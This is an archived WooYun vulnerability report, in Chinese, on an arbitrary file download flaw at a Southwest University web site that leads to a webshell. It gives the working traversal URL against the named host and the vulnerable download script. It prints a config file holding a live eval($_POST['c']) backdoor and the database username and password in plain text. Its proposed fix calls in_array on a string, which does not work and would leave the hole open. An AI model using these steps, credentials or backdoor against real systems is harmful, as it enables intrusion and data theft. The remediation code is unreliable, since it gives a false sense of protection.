当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055028

漏洞标题:西南大学某站任意文件下载可getshell

相关厂商:西南大学

漏洞作者: nextdoor

提交时间:2014-04-04 12:05

修复时间:2014-05-19 12:06

公开时间:2014-05-19 12:06

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-04: 细节已通知厂商并且等待厂商处理中
2014-04-06: 厂商已经确认,细节仅向厂商公开
2014-04-16: 细节向核心白帽子及相关领域专家公开
2014-04-26: 细节向普通白帽子公开
2014-05-06: 细节向实习白帽子公开
2014-05-19: 细节向公众公开

简要描述:

西南大学某站任意文件下载可getshell

详细说明:

任意文件下载的链接
http://jyxy.swu.edu.cn/down.php?file_name=../../index.php
下载了一个down.php看看
down.php没有做任何的判断和过滤导致任意文件下载
down.php

<?
/*down.php文件*/
$file_name=$_GET[file_name];
$file_dir = ".https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/images/"; //文件存放位置
if (!file_exists($file_dir . $file_name)) { //检查文件是否存在,仅仅检测了文件是否存在,而没有检测数据的合法性
echo "文件找不到";
exit;
} else {
$file = fopen($file_dir . $file_name,"r"); // 打开文件
// 输入文件标签
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length: ".filesize($file_dir . $file_name));
Header("Content-Disposition: attachment; filename=" . $file_name);
// 输出文件内容
echo fread($file,filesize($file_dir . $file_name));
fclose($file);
exit;}
?>


看看主页代码,发现包含include/init.php这个应该是初始化文件,可能放着我们的mysql用户名和密码,远程连接就可以导出我们的一句话木马shell了,下载下看看
index.php

<?php
include_once("include/init.php");
$news = array();
$jiaoxue = array();
$xueshu = array();
$student = array();
$pic = array();
$search = array();
$url1 = array();
$url2 = array();
$url3 = array();
//gonggao
$rs = $DB->Execute("select message from gonggao");
$row=$rs->FetchRow();
$gonggao = stripslashes($row['message']);
//news
$rs = $DB->Execute("select aid,subject,created from article where sortid=15 and imgurl='' order by created desc limit 0,6");
while($row=$rs->FetchRow()){
$tmp['aid'] = $row['aid'];
$tmp['subject'] = $row['subject'];
$tmp['created'] = date("m-d",$row['created']);
$news[] = $tmp;
}
//jiaoxue
$rs = $DB->Execute("select aid,subject,created from article where sortid=17 and imgurl='' order by created desc limit 0,6");
while($row=$rs->FetchRow()){
$tmp['aid'] = $row['aid'];
$tmp['subject'] = $row['subject'];
$tmp['created'] = date("m-d",$row['created']);
$jiaoxue[] = $tmp;
}
//xueshu
$rs = $DB->Execute("select aid,subject,created from article where sortid=16 and imgurl='' order by created desc limit 0,6");
while($row=$rs->FetchRow()){
$tmp['aid'] = $row['aid'];
$tmp['subject'] = $row['subject'];
$tmp['created'] = date("m-d",$row['created']);
$xueshu[] = $tmp;
}
//student
......
?>


看到了这个文件,看到了第一句代码,亮了,这不是一句话吗,不知道是开发者的后门还是某个攻击者留下的后门。
并找到了我们的数据密码和用户名
init.php

<?php
@eval($_POST['c']); //一句话木马
define('ROOT_PATH',str_replace('include/init.php', '', str_replace('\\', '/', __FILE__)));
define('TPL_PATH',ROOT_PATH.'templates/');
define('ROOT','http://jyxy.swu.edu.cn/');
define('UPLOAD_PATH',ROOT_PATH.'upload/images/');
$config['compile_dir'] = ROOT_PATH.'templates_c/';
function newSmarty(){
require_once("smarty/Smarty.class.php");
$TPL = new Smarty();
$TPL->left_delimiter = "{%";
$TPL->right_delimiter = "%}";
$TPL->caching = false;
$TPL->template_dir = TPL_PATH;
$TPL->compile_dir = ROOT_PATH.'templates_c/';
return $TPL;
}
function newAdodb($dbName=''){
require_once("adodb/adodb.inc.php");
$DB = ADONewConnection('mysql');
$DB->Connect('localhost','jyxy_f','jyxy781648','jyxy'); //连接mysql数据库的,还有就是用户名,密码,和数据库了。
$DB->Execute("set names 'gbk'");
return $DB;
}
$TPL = newSmarty();
$DB = newAdodb();
//$DB->debug=true;
?>


由于index.php包含include/init.php故一句话木马直接连接到
http://jyxy.swu.edu.cn/index.php就可以了
如下图所示:

捕获.PNG


用户

捕获1.PNG

漏洞证明:

漏洞证明:

捕获.PNG


用户

捕获1.PNG

修复方案:

判断一下传入的用户名是否合法,不要过滤../和./,它们都可以被绕过
那个不知道谁写的一句话木马也删除了吧,测试数据和shell一删除
加入一下代码

if (in_array(".." , $file_name))
{
echo "文件名不合法";
exit;
}

版权声明:转载请注明来源 nextdoor@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-04-06 19:58

厂商回复:

正在通知相关学校处理

最新状态:

暂无


漏洞评价:

评论